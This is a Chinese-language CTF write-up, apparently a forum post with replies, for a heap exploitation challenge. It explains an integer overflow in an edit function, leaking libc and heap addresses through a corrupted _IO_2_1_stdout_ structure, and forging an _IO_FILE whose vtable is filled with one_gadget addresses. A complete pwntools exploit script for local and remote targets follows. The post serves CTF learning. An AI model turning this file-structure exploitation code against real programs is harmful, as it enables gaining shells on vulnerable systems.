首页
社区
课程
招聘
[原创]第四题:卧薪尝胆
2019-9-24 11:21 5904

[原创]第四题:卧薪尝胆

2019-9-24 11:21
5904

1.开头

     名字叫堆感觉做题和堆没有半毛钱关系啊0.0(。。。开玩笑的)。难道又是一道非预期解。不过这题按道理也存在非预期的现象。


可以省略不给出堆的地址。

按道理可以直接用IO FILE 泄露的

后文解释怎么搞的吧。

2.正文

    

在edite 功能发现一个整型溢出


利用这个漏洞可以改上面任意一个不为零的地方指针指向的位置

刚开始并不知道怎么做。就瞎几把百度了几下,果然发现了。

比如在百度的框框中输入(CTF_IO_2_1_stdout_ 泄露基址)之类等等就可以找到。

看了几篇文章

个人感觉这个小兄弟写的最好

https://www.secpulse.com/archives/111304.html

其次是这个小兄弟

https://xz.aliyun.com/t/5057#toc-0

文章说了一大堆东西。。。。。。

然后我总结一点


修改图中的这个位置就可以泄露libc地址

非预期的情况



看到主分配器离IO FILE 还是挺近的,就在它的脑壳上面。


将IO FILE 的 _IO_write_base修改0x7ffff7dd3760 就可泄露堆地址了

怎么改

payload=p64(0xfbad1800) + p64(0)*3 + "\x60\x37"#"\x20"
类似上面的payload就行了。

丢一张泄露程序堆地址的图

下面给各位师傅讲一下菜鸡的做法吧。
感觉和其他的可能不一样。。。。。。。。。。。。。。。。。。。。

转成结构的时候发现这么个东西。
虚表可是好东西。存在函数指针这么些的鬼玩意。

进去看了下果然是一大堆的函数

3.做法

     既然可以编辑和泄露_IO_FILE,那么何不伪造一个呢?然后改下它的虚表干点坏事岂不乐哉?
总结下就是伪造  _IO_FILE 让它的虚表指向堆伪造的地方。至于堆中填什么呢?
这里比较暴力,没有去详细的跟虚表的调用顺序了。把它全部塞满了one_gadget ..................................................................0.0


如图,one_gadget 全家桶
from pwn import *
import sys
import time
context.arch = 'amd64'
remote_=0
if len(sys.argv) < 2:
	e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	_IO_2_1_stdin_off= e.symbols['_IO_2_1_stdin_'] 
	one_gadget_off=0xEA36D
	_IO_wide_data_off=0x3C34E0
	_IO_stdfile_1_lock_off=0x3C49E0
	p = process('./pwn')   
	context.log_level = 'debug'
	gdb.attach(p,'b *0x555555554F43\nb *0x555555555120\nb *0x555555554DFB')#add edit puts_menu
else:
	remote_=1   
	#context.log_level = 'debug'
	e = ELF("./server_libc-2.23.so")
	_IO_2_1_stdin_off= e.symbols['_IO_2_1_stdin_'] 
	one_gadget_off=0xF02A4
	_IO_wide_data_off=0x3C49C0
	_IO_stdfile_1_lock_off=0x3C6780
	p = remote(sys.argv[1], int(sys.argv[2]))#
def add(size):
	p.recvuntil('>>')
	p.sendline('1')
	p.recvuntil('Input size : ')
	p.sendline(str(size))
def edit(idx,text):
	p.recvuntil('>>')
	p.sendline('3')
	p.recvuntil('Input idx : ')
	p.sendline(str(idx))
	p.recvuntil('Input text : ')
	p.sendline(text)
def delete(idx):
	p.recvuntil('>>')
	p.sendline('2')
	p.recvuntil('Input idx : ')
	p.sendline(str(idx))
def exp():  
   
	add(0x300)
	
	p.recvuntil('heap 0 : 0x')
	Heap=int(p.recv(12),16)
	print "[+] Heap addr="+hex(Heap)
	if remote_:
		payload=p64(0xfbad1800) + p64(0)*3 + "\x20"#"\x20"
	else:
		payload=p64(0xfbad1800) + p64(0)*3 + "\x00"#"\x20"
	edit(-6,payload)
	
	junk1=p.recv(0x10*6)+p.recv(0x8)
	stdin=p.recv(0x8)
	junk2=p.recv(0x10)
	data=junk1+stdin+junk2
	#print data.encode('hex')
	libc_base=u64(stdin)-_IO_2_1_stdin_off
	print "[+] libc base="+hex(libc_base)
	
	one_gadget=libc_base+one_gadget_off
	payload=p64(0x0)*2+p64(one_gadget)*18+p64(0x0000000000000000)
	edit(0,payload)
	
	_IO_wide_data=libc_base+_IO_wide_data_off
	_IO_stdfile_1_lock=libc_base+_IO_stdfile_1_lock_off
	#Heap=0x0000555555757010
	payload=data+p64(0x49000000)+p64(_IO_stdfile_1_lock)+p64(0xffffffffffffffff)+p64(0x0)+p64(_IO_wide_data)+p64(0x0)*3+p64(0xffffffff)+p64(0x0)*2+p64(Heap)#fake _IO_2_1_stdout_
	edit(-6,payload)
	
	
	log.info('get shell!!')  
	p.interactive()
if __name__ == '__main__':
	exp()


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-9-24 14:43 被大帅锅编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (4)
雪    币: 443
活跃值: (249)
能力值: ( LV9,RANK:153 )
在线值:
发帖
回帖
粉丝
黄瓜香蕉 2019-9-26 15:52
2
0
预期解法
雪    币: 16150
活跃值: (5921)
能力值: ( LV13,RANK:861 )
在线值:
发帖
回帖
粉丝
大帅锅 4 2019-9-26 19:18
3
0
堆地址那个,怕不是吧!能用IO FILE 泄露。何必在程序中打印呢?

雪    币: 2049
活跃值: (74)
能力值: ( LV3,RANK:31 )
在线值:
发帖
回帖
粉丝
Littlebirds 2019-10-11 10:59
4
0
请问一下IO FILE 的_flags 设置为0xfbad1800是为了设置 _IO_CURRENTLY_PUTTING=0x800,_IO_IS_APPENDING=0x1000,IO_MAGIC=0xFBAD0000嘛?
雪    币: 16150
活跃值: (5921)
能力值: ( LV13,RANK:861 )
在线值:
发帖
回帖
粉丝
大帅锅 4 2019-10-13 12:45
5
0
Littlebirds 请问一下IO FILE 的_flags 设置为0xfbad1800是为了设置 _IO_CURRENTLY_PUTTING=0x800,_IO_IS_APPENDING=0x1000,IO_MAGIC= ...
是的,不过关注这东西也没多大用!照着模子套就是了。
游客
登录 | 注册 方可回帖
返回